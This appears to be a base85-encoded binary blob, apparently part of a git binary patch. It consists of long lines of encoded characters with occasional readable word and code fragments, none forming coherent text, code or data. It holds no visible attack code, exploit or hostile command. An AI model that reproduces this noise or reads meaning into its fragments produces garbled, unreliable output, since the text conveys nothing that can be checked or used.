zWqa>&2VviBkK8^@=NM1!v1@k9Hg|IFwMT_u-)GnElx;k@KLFdzHRs#jyXf0L1pel; zULLSVd*XIe!(L#I*)Ge=Fzg3y?=5#PZ`-uh5$hq_dk217mWLSI58K`w@?PGysbN22 zpR#TCR)}FgYI|?jZ$(K^&Gr1kQ0zsa*o#B4m)P|Q9{P*M@1>#GkA-4C9*X@$fOcZq z_mlPn|Dq+Ju~vDR?S1*671~BHZSX1E`!2#Zq*lP#UT%9|O=!*BMlkFZw)ahiZAh(v z@#JaS`{F`t<~D+{z0&r+$Dl|(du~HcxV!a??R~8w2>V&v`znpAW@e zWqV(d@Q%A}YCKsTioGTjd#&w#zhYYtJj8giE)@HPQ0y1&)4T(2H#MHT6pHf}9pMhN!%_RJ)hGKtY z&uTr+_5|a}hEVK}L$N=xXK&AeR@~J0r=i%N+2^&|*q&fo)#vv4+atB&hW&+oK`XjF zA*FRt`_i7XJyI)f*k9QfwxZh;4Et;QqV17d@w8S?zOgTEMOoPKc=@e;NfO&nF}63_ zm--QsuvSN`@9eorIev;^e;>;B5B6n#=8`aDdy{>6QjVWu*gx7=_z{vY!~V&>GAYMT zG3=l1tNaK_m|_27U!9cWrx^CH_BDQlB+RgXv#(9c@ly=@cl){|!j4~@x*oRNXp+ao18mCu%pgh zA=okJ?hx!0=bjMkxN~m^cB*q<2zHvY^HycrV5W0_l5IaFv$cU|g<@w1U>i?z0sffNlJ47l7S*a;%~NY-77PRGpMK z4SIl0X4SELb1!82NSILi^g_`Q0$J*L;eO6P-D9y6uZ)SIKhg) zXl!>1#qR7R|32^c?4fDjT>`L8tLhqnZF)nu0BqB~y9Zz!PkK0y_*Yv3YHF}&D0VOB z(F800qOn~Sirw2;=x;CqHMaYNVplth60G=(#&+LO?0(K-e}f6AvE4rudw{bf!HU0V zY!3{@9^@?bH<*AL+q;Bf@9I33V8vfFws&)q=g5A1(=T@qz&1T?j{t1bclHdxHvMw1 z0BmD>aHu*N;ymtG4M~`(!M#JVhdNIr+3{11?R`SA_jR81Gna%J+xvxL@9!*2vg4;1 z+XsYVALu;gXD$gdwhs!$KG<2FWXDf2whsx#KGa#^XD$gdwhs%%KHPaa$&R05Y#$Md zeWbI}&s-8_Y#$SfeQYT9an3VINA**TC&!0k|HpaO&s-8_V$}(u*e3>Ho2dEU0BqyQ zNdedr1M--ZTTtY?9_x}k8+;(Gna%J+qI$CbJvtP7 zjI-L$ToPt%j}65h=d4Mx zYN$Fn&3VbM8j>(`x8?Lu>@xzejo<$Zz&4(o8GvnUpXI!qR3bmcw3D+#vCnZ{@iUi% z8QarBvCnm0O|s*s7~9iBv1d51`I$??jP04B*t4A1lkE5@#`f$`?DL#A{LCd`#`gK4 z*cUkKlkE5@#`c_0>IfNa<%iWUo|9QrUtKZ-b>2yQ%ntB8-Q(U z@VWqOQ_AZDuuTo#5P)rL-x#V+ZgSrDtA-@Z)Zopb*ta+zB-!y(jO}@$*ta?#`k70@ zjP2V(v2S-iO0wgp7~6M*V&Ca(@H3Z$8QXV-V&Cn2oMgvOF}Cjs#lF}1#Lrw3W^CUV zihaNHX_6g3#n_%7iv57|nV-2N%-CKKiv6JTd6FGJ#n^r*6#Eh93qNy7n6dq6DE7io z>_yI(Nk{clj3`|(ihC!DX7j_RivPo50LUKWb|l=F?> z!ILoK$?{O_6`|NqhhndEzD@GcPceQ!6N>$8DE4!q*v~r~{aj7LjNhw5u~&y;uL;Fo z>wK5wqn~2@UKfh}LMZl&q1Z1u-}||mgqbIJUUq&+%JEZ7DPIf4emxZX4QG?py@%iN z4Q8H!SnvF3;O$7p?>9rS-wMTkI~4n!0B6U{Oy6~WN-CQvzk$73uWh~O{A^%I<8{}h02Jo(xAEBUZKn(^cp=Wn0_0=X{|d$a+u4%rq>pAw`H!>J zpPJnv`(MYleF#aAo0XcafGt7T=43{8-l|M}+o9M_D0U^-YlxeuN~< zu%iKNoAw=xI6FN%#&$|5c03Z~TM&S4x@BPiw(+}NB)(HmOq~>kViyNs z8&66isUbXRABtTXNef}SECAd1T^?x@!ghy9`cB!V#dZw9HfN_I0NeOo8OaFYNv8m8 z<4NZLY~x9nNajvGF|n#^Bx|Q^x7C$y0ocZq?g3hrVfTn+@6?l4N35QaozG*;FEzbkNC4ZW#qJ$xyHneyltV+YhlOJA6N)_? z=W=^>;o;HN0dwB~Y*Q!u1z<;8hu8fBu+7;y0PMtemneIF8&3|56zsH==Ik64ihXbZ zzs)_oLjtgk--kvDll<=F6)hn(b#hoJ_TiCsA#5KJihX3HD9Lt$yRD+B@1sJoj}FB? zCKUVFNO1_ij|;^uq1Y!xN<#R3Vkq{1L$OZ^#XdRGK7`*RLa|4NV%LOXkBXFr z@Vhn?yDk)abSUaz-59A1;rFCa>?W{{hyIfByE%Yu<9AD>(@t%hv0-v3 z_LNZUsiD~ahqn6wjG|iqxIf$Iy>~(rklu?Rq4(ZJN=Si7LP-Jv6bvX;QHm%5W?HO`#SVGGRLUqR!at zBkkOO-|QnDeNkuJ;v?-mx^D52E*gz*^^tbQz0F5D+O@IWN80K8)=;a2$J;q3JA9;_ zk?hn;-{vFj9Kk{#Y3DrI2{k#>&BaUW^tm^`4Be$YqS8TUgz(#}X8 z_K|k_ek9a3;k$`W-;ajcB|NK~=RS{Vr5_Kq*BHqOkygJtbE?jBwv#^kc8N7^|i&-zF^?`S{gBkf!}&x>^IyV$Yo_AH!{ zyb$V`aF))s^P*PzB_HE<-qC*9N7@cq|f+BJ0p2D)J3E3*Fs%2 z(y#kSJ0p1`bV*#_&F!l@X6YQ0H?`7lxzaIRMpvD4@T@DX8i_ORw?p0H#(if27lE}isu zuC!_-&aL5l*GN=p=hpCpkF?YGkD>kvXX#v*KWU|Z)=K}PmHw~m9wPQQ+w0COe|4o* z_Ylr`@>^(t#xeO_EB!}kU|iqcBl*+EUniW;i2UW_ZvsyGZy)b&Iq842(!ubcxLMlQ zNbJ%%t3q1ouvR*vl`awEc@H65$~U$6chH{V#Hq^pSRMJEeT2i>E8Wyb+8Ou7KE~}_JI%tQ6COe5nNsucn1pHPn6%JJx713v z(n_}ukJT7=8?AI(t#muBbo=l)jd6F-N_W&schX9C4v!Dii+y^bSa;5F!$TOT!a2#@$0JogBVQqwk(t>0Vmt-dgEC;Yo4hZsK{K^bKDgmsW&h z{;LW7w9@^)VxD>8pICoxd6`@sV~$veZY~ndQ|!($1}+z(?BY zdqwz)gh$YM7Pe9=y-F*+S}VOKJWFHTYqiqXX{E2%O0NrNB^-#3NlCQLiG%gsL0&h7GMA8BXYw}j^<9Eo#G zwuHCEJ+ynj*Spn6+8N2VaE``Ewuf^y(zk~55~iK+=I`*6jvnxx;rR*sE*?FEw`rvd zeWaZuxGTIsV&QCa!=pixoYNhW8FHG3Cb8mmAR(hXSdVhFP!jU-7 z!tM$$)=1wSzA`TD{rvkLt@MHLRT_QYtCc<&UZTqk#_n%?j!At`+@K>jgdU)Bkhdjq408zz906HcKUwAN7|X? zqv2~3j>PHvF&}BC@5jT}YV>`=N80K8q>uYS=RWpSctygIIQN53Xr-UjNw8b|PLt@JxS($2Ww4PU1*lJ~UI z@B2tQBl#eFy~apB)JmW8k#|ZJSM`y0#$C-v+8KB4$hL$>&`HF`)k#4A!ZlpDmiy}MXMsktj%`oR(i^h?i8tEol z>86p};`&w$#Bk1&i?!0tw9?JB(k&u|8sl!Mm2Rb#ZmpGW6WOIP?zUR#c3SE7TImjv z+cn1BQ7hd^E8STu-6gU+;kcc9h^~=68tF?Sd*jloTd~u3Hy>%|Hs3vRheqF*`bax{ z_lVpX*SGg=K3OZ>Q!Cv|E8RP?Ph;GDw97=jIO5YecqH#-GA33U#-rytc z+%7lz7>SeK6gj3blA9v;X{0wt?$=1)>?7@r`xYM~anf5N$2CT>)koUtdz+6V=%lwt z9?%%ct&s;c(mNs#B}_Xb+3BNiCw*Jw;e>rVk5Yv`(oWyId>j)eeS72)jgjn*JgSl2 z<0I{iWUr5rIO#hhk0l(5^E`H+R(ijWwDXMmE+1)UBzOBrJF~pUN7^}04){nrec$Wj z{C4_27}*~8=oyr|B;r z(;QvcSLT%mt^L_&=yGhobG8zP+46d9UmrK&BD8PCMR6f6hVQ_|@d0dKW5;kw+8@UD zQ9p_8O#oBK`*3|DCrVab?_6!1jM?cP?&Ddp>S~ufi?yGTaKU#;x%UxDDQf z+u|*_9ljN}$A!29z5{o}cjHd@AnuGGz+LcTxGR1VUxJ^*-S8{8JANHsitYQ09{4TV zlkwZQC;kBU!k^;a_$%B8e~---~D9V|XS$jx+Hi_zHXq z&%)2*Ec`Og#;@bq_#He4pTl$U=Xf6e2It_Pa4!BG=iz_xd>lDqozDw!DV&ch;)S>- zUW6Oq#ke`X61T@!;cj>d?v0n?0r+Y>6c^x;cp1J7FUQmIHTVjAEuM#0;6->PUWQlU zm3TG24zIyC;)#>G%Mif$zmx_#mE#58;LQFkXU> z;N|!zUWJe0>+yYfBfcMR!N>7V`~cpAAH@6dL-=0&Fg}JK!4Kg_@k#s`eilEDPvaB# zEIx_f$EWbe_zC<4eiDC+pTa-mr|}>78EhQ0&d+CY1V4vM;pcIA`~t3wU&J->OE?L? zj2q%ta1(qQx4>s`JNzo{ieJM$@awn_eghB0Z{lJ2Ej${Z#S`$`cnW?8r{Z_ZCfAD{C@ILGO{uM{?Z@4)A z9hb#_;0pLpTowO?YvR9g9sCb&fd9o!@Oj)E8v(1(8V7KD9K>C52zSR}+!IG|Ut9za zz(w&8TnvxE#ql^?0$+wp;>oxao{mf78Mq9dh0EeOxE#*Kg0pcqoP)dLMfg&@6!*X@aWcLE z_ry2jUU&!YjrZU__yF#UkK%s#0o)%yh6ms$@Id?=9)w@PgYoNl2!0z6#UJ8f_%l2l ze~Cxn@9;?c6CQ>Ci$~)>@EB|yx6a?OxCkDHOX2ajJf487;EA{nz6>|QlW=oS=I zcrVVz`|xahH=ctJ;<@+;o`;X)9Q+8*#V2qceiF~e&*KI7Wt@*+#S8HpcoBXZFUB9@ zEAi*}D*O#zf`7qF@gMkVY&>9{uLZaWUWUuy<+vig2G_vX;v~ERH^M9N#dsBNiC5#c zcn$7^*WzyYI-HEJ$9?fSJQ&}AN8lUrc)T7@#v5=7-iR~sCY*(D!t?NEya3;f7vo#- z)p!eDfw$tdcpJVEZ^s+)t#}LGfeZ0Yycgew@4$yDQX?5Rf@@FDsq2`PVBzy z{(e!^TC#1mnEvEB&>oA0`O{8ZmKDFUFR_WyQ2fpnzwVlR|IJ;K?_s!W@^zrQ)=+fr zu8maGWPB8CZBV;Yw~f+ zU6Z$cckMrln%M0Hx$cVEVnt29-{{`Q>xx=HvEP=8+9X9yK8A_^M}OsUepXQ{7n6~B znH#F8tyR?I`-bj)$oF2{wepJnUaF|c=TYu$8xo3|Hv z{}#KC!=i5A)~e8ltj%LRwkF@pmfObGkeT12tmwu;(RMNK|e6911oelIF&l@$9Osi?`nt+@M> z?@zmH@;yFxt+Hajy%aV1eBHgRe9q&py{D+j`)GGAMN#WSO=jh{q_m=W?4_`L;U_Oe$R_v zxtFlmPmq7Vqm$9u=wfs=E-|_p-Hl6)9%3&&jnT#^W27;{7;X#`uMmeAgN;GPKx2T> z-{@!bHToF6jb6qWql3{=^c65Fh&~PD-1+n8>zZq^7yp<3t=@|n70grV#Q#tITccO^ zF77jpoyN_^y~dr!ZN@FeL1Uj$XlyYK8T*Z0##Zr+?=ItZW1DfrxZBumY&VV?_ZWM` zwRX%nVC*$^827~<3fASGdPM6LjY{I$t|D&L)r{&!4Wp(}%cyPCG3pvgMq8tec>UT+ zJl3`_nj6i;V`NjKiP6}&$Y><)HyarBje4S=-$j2#qy3c-XLng~mX#N0Z)tJH8Gp;` zT3+MD#2H->&DksY#zJF}vDmoMxXM^!EH$ncnPtW%W23RbSZ~~D+#t@l>y7J-wZTcRl7BbBx*IUAin|mT`q4pRL(H>g%#W-vLucUoqs0 zsiV{L=Fcr|Oix>!mC`IpEN9y*i)~xW#aVW=jJ4} z?a)!Io1M0>J2h7pr(kQjILmIfT9H^RNX?!*BQJM)%OoRxp|zBy^m+4TDI?cfWV4*j zinW#5mXem1Dv~L)&4tKiNQz~qSx!qcmpNJ1a!!ufnv;?ydl%cvMK;UXtYpv6nrSwq zW@K8+JaZ}PS<<=Yt26TE%hg;lvrMr}&C1CV!<4IH18YT$m!=$Z zC3ChIyR78Q$+K2Ol#19Q+ic3pw^l^Q`D`sZHdn>=){5MN-I!xHSu3(@vm(1TSHv}u znk9ECuMxSDk(+KV#L<ue^D}3&VlFdM=jP6sZ3W~)PJepFT-Ii!M_1G5MOSC! znX95pnG*+FF691mtYxOTl94Srdyc$ZXkKQdOwSd_n9WjLi>BqtXEj9E#1(5b*(>Hb zWR~Q~W3J?+TMP5LmaFoLFiT>}=2EtpD{`Cp=9)O6qD^8G^OT$~2W3XYiag_FLAK<} z6;Uvk8Dd2+eV)9OSDPIY%Z${#Oq?Z`;tDiF@{)5*u8J!w*Di@$qP;54F}W&tBo^km zE?08%(oz?i%Y1VwcapYP6vTly7t-_XwR~qyma_9Qa;LXu*(S+o&~wc2p#ytQ?LBnF z)Y0R6j+i>IU0YSPO-E53(|hWuzGKFY8kW*IR%vm{5gI$9PtP%Zr;Zyny63pQvb#Qm zdiNYMWb~Mxy$AOhK7N?1G%`{hX=Vs+)+NCUWC0pG5 z*l3Qq!X2q~?U^kp3uQxgMxK=HLM(Glh?6FLzO0HpnM=`|wVa@4p?kw?#$XEWuaV7Pc`r5#ARxZyf2o0n+vgBhLBifS`oQ0Z~SI4Lo#>KY;l>I zBkr9A#IJMBrip^MPZPTqw=g*lYhm8Z#L>=>?RoOjyoHE>ynV=pIOoh_mRN|<%7wT? zlzWkP+zitir5O;V?7VDokCyBOaG(9^bJzcEGJ9yKX zVv(0MT`t5BvuTq{abIt3k!QlZ8!$tQ3CX26!!oSy#5huO#Cmqd9BY|pFJVTmXq68P zV)WwJ%oGcGZn4ag%N+AE*SgFxTjaSVSLC@Rm*%-8SFCf3QkK~!&n;OH$8?UlVx3!} zB<~r_7IALLrQBF7bLEAMr_Yxw@~koo;;f=!j=5r;RkCEAKxU&jfy7cAfXpN#)4Y@? zi|AB7mYD}iT$)#*T=KwX4n;hKSl6A^ARfC!59Xtq{h(&X%zB<|6eG+M3wiown@joV zCZ~~=Hb*SQ-M_dL`^^^%xkqzp?oqB;4|vv|Ne~bZZPuRU(t6CZ_AH$zFQ#Y7+laW3 zk3ZHzJp6IWh^2fK6kV8?3(QNA&Jm^Qsi}E#nI#4(VqykzeWAF_%`+F`z%3S%Pr~G- zcwQ&3iro3x+0(P-)aFm0Z?1^5(pr&i&RXtFJ7un9XUUwo8eK6rFiSZZnIbJ8qvb^8 zL$tY+iv@GjbIir8`7`IUl5eia5#-B?>`<;)kL98ux|?lwCoaYG=E%z&c`1&)cyJdh z=KYPiCU0r7BJTjq6?>UAM?U&n8?lyS719^Z&9m05=ULYFnX~P*e5$~9;+cZk_d;_i z#w949H^|Feap~M4M#8?so)TZ>qv<%)|1b7zU3Sjm?w8RpY2v9z9b5t(mA#7S&t?Ml8} zk2zWg#_hzFdmiZeEg+pOPsq&Ec4( zT%k1cLNo&wR!eT4Sc)ei^X0LfE-uC6pt)`?#H43RTJsW(R-3#OgSRl#Y|ox67UC)r zm-0Fi3%PB+NqH%s>4`YJxbu)3%FC>5agm!RFGZ_a&XJe$fy$Km+()j-hb6fbG4Ya7teMYKWrKJ$ zvZG>YJ${Ro+&r^7e|qYCxgxFwR>b3zEXZd)aw$5LPjjs``7BqqiH9Yzl!rhJOg{RH zr8wpb#brijzPYq67o<-YMR9M;Qc7GQX3bn=S?lsLYeD)fV7rAOpDl>@Ld5@Do9ki^;{UCquVID^ z@7ZVS=&`-zYnb?A&pv%FEDq~AOi^_g?H5Jy9ZncN>cS4~+K@go=H!i;o0Fb3L=Hs0 zB{XQrps7QK59>c@=!n?T=)Pm9@G{JqLdW*;do-uuE?QHFsam6rDLAj|Vv6Qo%qh5w zatgBM8gp#P8nb&tdDt>#adh7yeS43Y+PnAEesLPup2uAA4wn2s_hz>2*P+ebr@5$j!I0yIRNgWJOHxRXW}sNf^~TB&T%smy5Ne6OAK@+%xle6v&QTy znnQMK&ehi0h~1-kr8zNk9&*T{G<42_^bx)D<_sC-w3`#plnz3@0fu@`%djUtdG%a?65vV#2-d_^`APf z=a8{|jRvFojvh07l>Lr?*m}gkAwzh7z-Ta}j~LpZF#}l}VvSMM>@_)9XFW@<$K1%Q zxHU-8V(+W>D0@G0t$*J!dGakfaU`O$)|~@qG#D|Wce}RzhmT<-y+@33W+vXf7&S(| z6wQ?H7K_)O@@2Gm2_Y}7DadC&DOp+K#Yc{~Fz?OmJ2UYNQoO7%(lgUD=NNf8DRad; zU~^^A$`LbDhQ^Qiry!aC#rnH!kZnUagp1-ZE{P+!EG~j8V*4*CRdF%eYvSU#E-rx^ zVEI>J`O_GevS>8JrEzO4{z7B^biieCS1doXDSvw4@)nIgxB?!CE8=0e5+02!;|aJ5 zo{X#F=~({lQU1)p)h!xXxCWkwYvKi1ewIc4T#0L2GzxGXyaL;QEm@0`XulE5zj(=? zn{a)L##Y<_@4yXlA#Q|sWBK_A`Ev(uY|+?{o8WtJQ+yC#jE~@E_&(emKY&}{hjB~% zIBtcX!1D8}^5+@c#-i~8Zi`>R?eJ^3J$?&!!0+OY_(R+Ye}X&XFK`$9HI|DK->rq!cFjC+zb!FE%8v?1`osS@o?N3kHFpVNSusE;XZgY9)QQ-A$Tkvfyd!7 zcs!nfC*aHRL_7^&hSTsQJQH7zv+!g*7f-=?cq(3qr{Sw`3NFCY@wGS=uf}QkdYq1L z#2I)ao`E;xnRpA%#M|)|cqg8Pci}9&2WR6u@oan-o`dhjbMX;858sb-@IyEkKZf)0 zDLfxPjThkOaXx+-FT}6nMfgp;7{7zB#2?_R@W*%w{v0pGU*W6qcenumgqPu8@pAkp zz6Sq`uf@S%t^1P|xHw*kOW{?xJYJ0}WBC7aQPKSTjo*zcX{9T>(m~JNRB@#}!{XB^ z0q;OuYc;KObywPZ+%>EZm_+yIJ+7Ks>00iz=TK^ErR#`K;KYtKc0D?o=t^C!bdo#m zIqrH|>H5k~l|%>XT4|t_ZW#05kdhsFACpE}>5JTH&tuY9e74d5PZOe$K6FM-Oc@pv)M%V z*ssN7$D>{kh)=@Vuhi9v*lIw0a!#l3Sz75Vk+z@3$i3RHcw$H3tY>SbXNz=wXJgN` zKwyqY+s~i=S2RRJATU?<9W!w6anF-|$E5A&WwHCQ`!>WU7fTzxW74rH_j*8l(lI{m zJ(4`}dD_^nz0>o>XK(!&Kkn zUgHjkPiI##R<3f+S?_D-TJh}OZ{LQvCFrDAYNc0c&2qI?dX3gKzg8=Koz`vVdad+2 z@x6f9Ydd!R!rRUbA{~2e$F5(PzEOPRAhy5Q^$XMMwbC23(i_D$AN=1gH;Hda_)p)Y zmENqCzFB-*!|!b;Aih6ROXGIAMSKs$Z{LRaE{aZin^tK?|9L=sZ_NMC zgW`K;{(l}4-%IoV^RW0HoBy9j%7IG&vRO{eBO2Kc<<*0t@MlLzdz*Nqtp75_|~oepO?iqbp8LlV%UHE z^|Q@s@y%iXKWD_ZjQ#(-D!!5I|K~OF?PdQzuZwRw`~P`Ed@I`j&zr8a_dUd0u90}B z&x&tn`~P`cy!+_?=N(ttdnE6=M&g}*&qz)<5a+$+_rh6-Pp+xX3wN!CR=Q@u{uG?MAC+sl(%$2)?Mkb9bZT{6Y45)42F7Symq~%K z8tHnjwD(Br2gYgi-N2Rh?z^FDmfq<`f$1?b~Sd-vTpkfw3X_Y0(Jr2D(l-Xj^{8i{v$ zU?4+dB!dDoG}41zY44E?agD?~Jv1=$f@|!57lsAw&z%47jMFmQmG&OV2-irw(<1{{ zXdJ;&uC#aGqg`odMyjQ=8yQd-pvtkfky1%Uo&i zz9+fT&KOl|m%Gy5eNPT#Ym9q}EA8F)R99LxTBkP6mG3%Q#%4{J=^0OcLuJDFL>&< z!1bQ(@r{Lnb@2sH?F!uB*&g3`yHHUF?p1s94-WAvsU+~o3TIqWNH+l9J-*`YPeQ#iM{N|oIsFgkxxY@I}_{PIp=_7$# z;y3ryQLXf`z!uNm;v4VNO5Y#Y8o#-xjt91Rw#!E6Z~qSjwrivx4BV=bekia*BmHn- zr$+jbz-=1oM+1c#>Bj=Q5~iKN`l0T zC-79@4hIR>p4Lh~6Sy;Bk51rOt@Lw&ea@x{*Pho(zYy4;utz8GqE`B)z+KL!3D;f@ z+?_Dv1YXffpAOuk@!9AzBJKYf;j4iI8n1L;3*2k;cBYYF?RAm%|7`P(z`+Fl#Wueg zI26kS>u+hL&jt=B=r6YU?ZA;(CRl$*tM7NU((h@d-wzy3FxJ?|v=0Ku5~iKNhg#`# zf%}|I#ajJ1x$%)J?R~C)td;)6mG&OVr-A$9Zadzu+CB>$*GPXJct9ilMc~1>!{mJ% z{f{f{eH;BU@K9Xe-uNo;uy-J?_3OYRarVYHTIp{Ck9v0(*ZQ4S`g^VP4}r(x_N9XJ z?D5CIy`95qvJXo_M9CR=QO1`NUmD6Q#A% zWn5|RBUn}|T`u@SbX18~%4?-7xYFL^t{8kV@c^QUN?Pg4uC(_^s%WLFYMm$5w9?gs zFGXjZc%_C`x~A5(Q!Ds#;sHbxwS%uj*AuVQ3!Y9KiYDs2(%#o)gW#FymWfvyy3*c# zHwwO*xXWnbqTp-M^~5WUwbD&oY43424Zfau0MW$7uC#aG&0NRCJKa3^Msz=kS6aBz z-hHAY@=D}&*|kK)SS=@IU<=TJtvN8*_t75rFZB%_0$Xr#xu)1D(4>mG?` zdR*|+xRH2cqATs$wQ*VSGw<%=S|_{G-hEFAejc~AH>PT(rv<<8?k=u1MJqi$_@B6~ zy^*SwP78kN-CbO3x>hVK+{LVWN*E%cs zeVo0K75u?F5Z9U={4vhnm>vAdI}q18C-`%my)ifVi+3QdbzbnlarQ<|@K^6ZTx)Ld zw>WzvFZjE6Ag*E*$oM*5myNF#l1Fq|;$ z3~+^3dSx)8(f6ugk+`(?J@V>c(YUlTM%CIHt@PSpF^#^j(@I|-EUwY_I<52#!4evM z->8*d?@D`LI~#%}<36_eX&w+0amWsP!dXM{Nt@JJKwC6~+Xr;FX zOUDg04i_BnZCdH=!7>`h(tYdT1nJ{hc~kvY@yNj>sskIf-N=re$$mMrnucZ-MtlT(9B-lZt z?@wK6@4i0^cGT$mb648C?=OO#H2VIJEA8F)m%+{&eShUjd-wfyu!~0D-?-A=eSaJ5 zs?qm%uC#aG-v=+z==%q)^pC-A8h!tymHs){U8C<`f|qKf{~PR~k^VK9tdagL*i$3@ zd$5;A`j235jr5`@z7|EbcxUyjdaP-SdDb4&^V2B z>CkwMbeYfujda=2M2&R0&}ACw@}Wr@=?bCCHPRJBlQq(nLQ^!-l|xfC(p5s!G}2W= zDH`c&q3Igw>Y-GPbd6A&M!IGwT_as9l%bKX9h#w$t`nN6k**uc)JP|VuFy!=3(e9< z*AHcBq#J~?HPQ`3vo+F1Lt%8tLYt z1sdrVp?r;W%g{oNbgR%JjdbhKVvTg0(3KkLwxO#u((OV^G}7%uOEuCRLRV{~JBA80 z(w#!fG}4_z%QeznLf2@dyN0gSNM90Kp^@$uTB(ul9$KZ5zBII2Bi$pkMkAdZTC0)n z8M;m*-79pxM!I)sokqG(=mw2+-_VU3>3*U08tML_4I1eIp^X~pfuT(r=|Q2JG}41Z zn>EryLN{xqhlXy^NDm8b(MS&uZPiGR2yN3yj|^?sNRJBLs*xTY+M$si6WXbf9viw% zBRwuusF5BY+NF`65V~C>Ju$RfBYjzDk4Ab@Xs<^4^3WX`>B(B@DO%~NTIp$8k2@(^ z>FHYO)X<#?kD&7>jVK=|IY91J$7wIXurltW@@D~Lw9NPeT7zfmewq@ zLU#vZKMzqq_7GgKo*lYJBRxBGAmIPMWjZHxZ(O>!=TPQ`%Eo<;!#h1MbTDq*-szms zp}3KF4#da}9ga(T_kF=3H4FC1Q1jQ%khRfi~aalYSm&2*JJf4Xw;Muq$&c&7RB3v0?jjQ05 zxGG+UtKrSKI^K$F;GMW8-i>SF{kS$hi0k0{ab5f%PQs7kdiW%^&$y>?1KMA}4e=S= z2)~6d!XMzq_*2{je~p{sAMnNaSKJK$gPY^TJI=tD;w;<)&%?<$ANRyp z;$C<;?u}RCKKOdv7jMG-@D|)3@5BS}?RX&GhX>(%@nC!m55W)Oq4+U83_pp79qI9sdy+(!=rFIo`^GW3Z8*y;+c3Z&cu263cLuh|M?t*W`-SK+d3va*!@J2ioZ^EPTO?W)sj4#JG0r@j4#HI;5PVC+!;THFU61JzW4+lj8EcG z_!ORipTJY`lQC0imT(#aBciKu7|(Cjqrc)#rR9y8h?d5;IDBP z{0&aV-{OAwJ3JVFk4NGk@HqS z;tlvOyaoS_ci?~UZu~FahtJ~!*a%pKV>o~x#zA}vhww8vj9Vi<9s|Tn`uE`gk>NfY;-OcnfZX zci@ZgZrm8(g`42RxG8=BUyL8e&G6H>IerPZz^~z!_-)(@e}r4(uW%duGj5Cj#_e$A zAM1Q-kIUc=xGL_5lW-^86nDmLaTk0E?uz^1OYl(K4UfUy@g#gHPQyKL7EZ=_xF^06 z_rl9@Z@dQg!Rv8fd<*V}cjEqdFCKso;(_=fJP4n}gYmO?2z~_*#c$$a_QVFC*j`say$f2#$)jm zJQ+{L>3AB>#wmC{o{pE`RJ;PG;dMA2Z^jvTC!T?K>3AicjaT7(yc#dXYw&Ws z7O%$F;T!Pv_$Is#Z^bv@o%lw)8?VRv@CJMcZ^Xy(Cj2N#!n5(+I1k^0^YH_gUK)b8Tm{ zkoHm(-2G3x-`d`8x3{yGNyn}BB)i~RZU|ZDWw5|%*nw-{{n%JYhwsE!;bS<0PvFw{MO+!5#kKLLxDoyVx4?hn4!BsvI-cEe zCEOP$;i0%W9*eu+$+#a*$D?sJo`&b+Y`g?7#zpW-Tn2B%Rq#$+2j7J+!uR8r_!RDl zU&fc>cW^)aIUa_8!sGCHJO!63Vja&6TpiEG7vTlC9bSr)aZx-3m&FrsRh)+F;<>mn zz6!U(t8piM6YhZvaesUd9*!TtZxpkRzj4wqe@fW? z$Z{pyKU%JX1LT|FAZ~4&?K|6M`(#{<_CdG=9*qm|6l|Qb_CLe+$Cl^X{>kzpZ2yNA zmf0r1#y0s4xETF!u}%Iq+vM-S<;dS-`yFflhjDp)KdwOj1g=K^&*AF$Ra^tVi)-Rf zaT5K1iRyZ;woQ9o+swZyUPHc}ZSvi1lkbn$lOJxI z{CL~sr{XQN&%(wN*7$O5e`5Jc+do^r28U^1hYQ($Gd{-~^E>fJ_yGPGKY~BO&*9JT z>-azT9R3o2kH5nI;2&_w64v$cBY&u=fq%kH@z3Nt;&S{Ur-yCc*dJh?7(Z2y#Pwtod* zL;hWSE&Y9l4gQew0}kp@(OwCcWBdBHX>VhjH|mpddGbSTlb>Xp zd?v0yKHoO^mA1)m#?{F0#?|p5TmwIblktnVCw>R_!vDd&@vpcK4wtfyPhVUC_rpoJ zKW>Q!;BI&z9)t(siFh!ciHG2PJQT0Q!|-N29Phy+@KHPxpTeW?89W-F!(;IGcr5-G zkHe))TgPWSu7xMyW_Tj*iZ8+?H@g_VC-;Pu8VLTn5z^V8Z zoQ6NZ>G)fmf&a!caLF>(@tBEg;7r^UUxB;eS$H7M!V_^e&cw6vB0LAL!E^CeJP+^3 zIru@Gi=V@J_-#BNe~B01KX5)SUe=obLR=j$!cFmF+y!5W2jZ*nM7#uN;-z>IF1Ffw z{JR#H!|QPp-i}-2J8&{Sh6mtNcmjR}Ps4BHnfMbt7k`Tv;@`0SALI^|vyNAB+DqXe zu7XS8`nUpaiEH3)xEJn+2jS6p6rP5|cor^&7vM^G8E%hnz}@f`+z0Q)5qt!f#*gF5 z_(fbBzl|H=&u|O;Bkq9z!QFB3^49U~i!0)xxHcY(8{^5i4K9ki;j*|tu8K$Dx_B~f zjA!CjI2U)qOK}gp2Cv6A;Vt+!T!`<&`|y4E5I%t)z%Sqv_)YvQ{s^DO-{Q0Q4}1^A|G;13<@jg37XO1c;-VF;@+mkT2_L}Q@q>6behS}>&)}o@ zef%)~67Ru3Vq=Z#dL+yw`4FI*lE#`W-6 z+y+m@J#i);iF0uZUV`W0RXB(@;0kyZE`>+qsyG$b$GNx#4&zR^A?}I$;K4WzkHrx@6*t0}xG&Dd>39h) zf>+^-@CMuuZ^s#UFD{A?;>P$v+#f%IXW*A`0X~b@<4V-S+y-yJ-SI9w5Ff^4@kyM5&){tQ5nhCU#4GS}yb-U(x8aTW0N#cl#@AkF z-G4lVpT=kK%lLhq%Io*9aBut@Zq55gp{myLOryP=ZQdWKjnipwiidt~ji-a%PQEA3 zAU_h%z$v!L&%-lmzZ&u_JZ9rwfgaesUq55Q01f%r8%2!DhJM;GgkKd>&`wlGUx_cLlD7XW>RT3%AADxCfq%hu}GQB5tz9y8bfo zwFQ>v;!k=1?<%{U$LkgNb8b)9mCi)-NDaDekSP|G?#fzJ)|r=)G}-z(!{d_8^;--A!$ zH@QE05r2T+!r$Q!@UQqA{4f3u--3ySHv4|CA=M1#(QyD>|X4neKiN<5Z;IH$NOu# zx3v5)?YkyfejFd}ZTU%j1V4+HEIK=RO z#P;?38!kfoKe#9k)V0nZ`}!`5?d!WVwy*E<*uH)%;WG5+zCNnbeuDYbww-Ei(7<-C z<)-)~`Bt{ccd$+V5`2n$Py7V#kDp}wVfZOL7C((I$IswY97waqmyIKMA+FZPYF}=f z_O-V2toDt#I{B@($rsute<_Dea?h54I0kS6kd=5piP*i;DgGV-v&pRovjD&rz4Pe-*VqMQxq9@ye{cjUE=c zpyhDYrYpwWSTW|kA}2pv-$^XR!r0Z=Fywb*WNmRw?MG^# 